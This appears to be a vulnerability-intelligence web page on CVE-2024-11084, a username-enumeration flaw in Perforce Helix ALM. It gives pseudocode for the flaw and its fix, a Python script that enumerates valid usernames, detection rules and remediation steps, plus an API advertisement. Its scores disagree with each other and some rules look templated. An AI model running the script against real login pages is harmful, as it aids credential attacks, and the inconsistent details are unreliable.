☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-11084

CVE-2024-11084 Information Disclosure in Perforce
📅 PUBLISHED: 2025-04-15 15:34 UTC 🔄 UPDATED: 2026-09-23 20:27 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.46%
👁️
0.46% probability
11.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-11084 is an information disclosure vulnerability in Perforce Helix ALM (Application Lifecycle Management) prior to version 2025.1. The vulnerability allows an unauthenticated attacker to enumerate valid usernames by observing distinct error responses during the authentication process. This is a classic example of CWE-204 (Response Discrepancy Information Exposure). While the CVSS score is 0.0 (likely due to incomplete scoring), the real-world impact is moderate, as username enumeration can be a precursor to targeted brute-force or credential-stuffing attacks. No public proof-of-concept (PoC) or exploit code is available at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise application (Perforce Helix ALM). Therefore, supply chain package security considerations are not applicable.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely an error or placeholder. Based on the vulnerability description, a more appropriate score would be:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): None (N)
  • Scope (S): Unchanged (U)
  • Confidentiality (C): Low (L)
  • Integrity (I): None (N)
  • Availability (A): None (N)

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N Base Score: 5.3 (Medium)

Threat Level: Medium. The vulnerability itself only leaks usernames, but it significantly lowers the barrier for subsequent attacks (e.g., password spraying, brute-force).

Deep Dive & Mechanics

The vulnerability resides in the authentication endpoint of Helix ALM. When a user attempts to log in, the application returns different error messages or HTTP status codes depending on whether the username exists in the system.

Example behavior:

  • Valid username + wrong password: "Invalid password" or "Authentication failed."
  • Invalid username: "User not found" or "Invalid username."

This discrepancy allows an attacker to send a series of login requests with different usernames and infer which ones are valid based on the response. The attack does not require authentication and can be automated.

Root Cause: The application does not use a generic error message for all authentication failures. Instead, it reveals whether the username is valid, violating the principle of not disclosing system information.

Vulnerable vs. Patched Code

Since this is a proprietary application, exact code snippets are not available. However, the fix involves modifying the authentication logic to return a uniform error message regardless of whether the username exists.

Vulnerable Logic (Pseudocode):

def authenticate(username, password):
    user = db.find_user(username)
    if user is None:
        return "Invalid username"
    if user.password != hash(password):
        return "Invalid password"
    return "Success"

Patched Logic (Pseudocode):

def authenticate(username, password):
    user = db.find_user(username)
    if user is None or user.password != hash(password):
        return "Authentication failed"
    return "Success"

The patched version returns the same error message for both invalid username and invalid password, preventing username enumeration.

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Enumerate valid usernames.

Tools Required:

  • Python 3.x
  • requests library
  • A list of potential usernames (e.g., from OSINT or common names)

Exploit Script:

import requests

target_url = "https://target-helix-alm.com/login"
username_list = ["admin", "user1", "john.doe", "jane.smith"]

def enumerate_usernames(url, usernames):
    valid_users = []
    for username in usernames:
        data = {"username": username, "password": "wrongpassword"}
        response = requests.post(url, data=data)
        # Example: If response contains "Invalid password" vs "Invalid username"
        if "Invalid password" in response.text:
            valid_users.append(username)
            print(f"[+] Valid username found: {username}")
        else:
            print(f"[-] Invalid username: {username}")
    return valid_users

valid = enumerate_usernames(target_url, username_list)
print(f"Valid users: {valid}")

Note: The exact response strings may vary. An attacker would need to first determine the difference by testing with a known valid and invalid username.

Blue Team (Defender)

Detection Strategy:

  • Monitor for multiple failed login attempts from the same IP address with different usernames.
  • Look for patterns where the response body or status code differs between attempts.
  • Implement rate limiting and CAPTCHA on login endpoints.

Honeypot: Create fake usernames (e.g., "honeypot_user") and alert if they receive login attempts.

Indicators of Compromise (IOCs)

  • Network:
    • Multiple HTTP POST requests to /login (or similar endpoint) with varying username parameters.
    • Responses containing distinct error messages (e.g., "Invalid username" vs "Invalid password").
  • Logs:
    • Authentication logs showing repeated failed login attempts with different usernames from the same source IP.
    • Absence of successful logins after enumeration attempts.

Detection Engineering

YARA Rule

rule Helix_ALM_Username_Enumeration {
    meta:
        description = "Detects HTTP responses indicating username enumeration in Helix ALM"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-11084"
    strings:
        $invalid_user = "Invalid username" nocase
        $invalid_pass = "Invalid password" nocase
    condition:
        any of them
}

Sigma Rule

title: Helix ALM Username Enumeration Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects multiple failed login attempts with different usernames
logsource:
    category: application
    product: helix_alm
detection:
    selection:
        EventID: 4625  # Windows failed logon
        TargetUserName|re: '.*'
    condition: selection | count(TargetUserName) by SourceIP > 10
falsepositives:
    - Legitimate users mistyping usernames
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-11084 Helix ALM Username Enumeration";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/login"; http_uri;
    content:"username="; http_client_body;
    pcre:"/(Invalid username|Invalid password)/";
    threshold: type both, track by_src, count 10, seconds 60;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Update Helix ALM to version 2025.1 or later.
  2. Workaround: If immediate upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests with multiple distinct usernames from the same IP.
  3. Monitor: Enable detailed logging for authentication attempts and alert on anomalies.

Long-term Measures:

  • Apply the principle of least information disclosure in all authentication endpoints.
  • Conduct regular security reviews of authentication logic.
  • Implement multi-factor authentication (MFA) to reduce the impact of username enumeration.

Patch Details: Upgrade to Helix ALM 2025.1. Contact Perforce support for specific patch instructions.


Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-11084/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.